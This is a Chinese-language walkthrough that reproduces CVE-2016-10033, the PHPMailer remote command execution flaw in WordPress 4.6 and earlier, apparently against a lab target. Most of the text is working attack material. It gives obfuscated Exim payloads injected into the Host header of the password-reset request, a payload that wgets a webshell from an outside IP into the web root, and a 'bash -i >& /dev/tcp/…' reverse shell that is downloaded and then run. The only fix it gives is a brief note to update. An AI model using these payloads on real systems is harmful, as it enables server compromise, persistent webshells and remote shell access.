簡介
2021年7月21日。
參考鏈接:
WordPress是使用PHP語言開發的博客平台,用戶可以在支持PHP和MySQL數據庫的服務器上架設屬於自己的網站。也可以把 WordPress當作一個內容管理系統(CMS)來使用。
WordPress是一款個人博客系統,並逐步演化成一款內容管理系統軟件,它是使用PHP語言和MySQL數據庫開發的,用戶可以在支持 PHP 和 MySQL數據庫的服務器上使用自己的博客。
WordPress有許多第三方開發的免費模板,安裝方式簡單易用。不過要做一個自己的模板,則需要你有一定的專業知識。比如你至少要懂的標准通用標記語言下的一個應用HTML代碼、CSS、PHP等相關知識。
WordPress官方支持中文版,同時有愛好者開發的第三方中文語言包,如wopus中文語言包。WordPress擁有成千上萬個各式插件和不計其數的主題模板樣式。
pwnscriptum(CVE-2016-10033)
參考鏈接:
- https://www.wangan.com/docs/461
- https://www.icode9.com/content-4-719341.html
- https://www.cnblogs.com/ssooking/p/8893264.html
- https://www.jianshu.com/p/85ac4af9f947
WordPress 使用 PHPMailer 組件向用戶發送郵件。PHPMailer(版本 < 5.2.18)存在遠程命令執行漏洞,攻擊者只需巧妙地構造出一個惡意郵箱地址,即可寫入任意文件,造成遠程命令執行的危害。
漏洞利用條件:
- 不能包含特殊字符
- 命令需為小寫
- 命令需使用絕對路徑
- 需要知道現有用戶名
注意點:命令只在服務器端執行命令、不會顯示在客戶端
漏洞影響版本:
- WordPress <= 4.6 PHPMailer < 5.2.18
以上內容為復制粘貼。
需要注意的是:
參考鏈接:
- payload中run{}里面所有
/
用${substr{0}{1}{$spool_directory}}
代替 - payload中run{}里面所有
空格
用${substr{10}{1}{$tod_log}}
代替
payload:
aa(any -froot@localhost -be ${run{
/bin/touch /tmp/success}} null)
漏洞復現
啟動環境,按照所需信息完成wordpress的安裝。記住注冊用戶的名稱。
漏洞位置在密碼重置界面/wp-login.php?action=lostpassword
,在找回密碼時WordPress會使用PHPmailer發送重置密碼郵件,這個時候PHPmailer<=5.2.18時存在RCE。
登錄頁點擊忘記密碼
,在用戶名或電子郵件地址輸入框輸入root
(我注冊時填的是root)。點擊獲取新密碼
,使用burp攔截抓包。
修改請求頭Host
的值:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.198.172.202:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check; wp-settings-time-1=1626831956
Connection: close
user_login=root&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81
注意,需要將Host
的值完全修改為payload,不再包含IP地址。
寫入webshell
利用的是curl
或wget
命令下載遠程文件,比如下載一個webshell,再用webshell工具連接。注意:
- 遠程 URL 中不能有
http://
- 所有字母必須小寫
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}139.198.172.202${substr{0}{1}{$spool_directory}}1.txt}} null)
上面的payload意思是:從139.198.172.202
這個地址,下載1.txt,保存到靶機的/var/www/html
下,並命名為shell.php
。
查看shell.php
是否寫入成功。
蟻劍連接:
反彈shell
利用的思想跟寫入webshell差不多,是先使用curl
或wget
下載含有執行命令內容的文件,再通過命令執行達到反彈shell的目的。
利用步驟:
- 發送payload使靶機下載
1.txt
,並保存到/tmp/shell
- 在攻擊機上監聽
9999
端口 - 發送payload使靶機運行shell
將bash -i >& /dev/tcp/139.198.172.202/9999 0>&1
寫入到攻擊機1.txt
中。
發送payload,下載1.txt
到靶機/tmp/shell
。
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}139.198.172.202${substr{0}{1}{$spool_directory}}1.txt}} null)
攻擊端監聽9999
端口。
發送payload運行shell:
原:aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
漏洞修復
- 更新wordpress、phpmailer到最新版本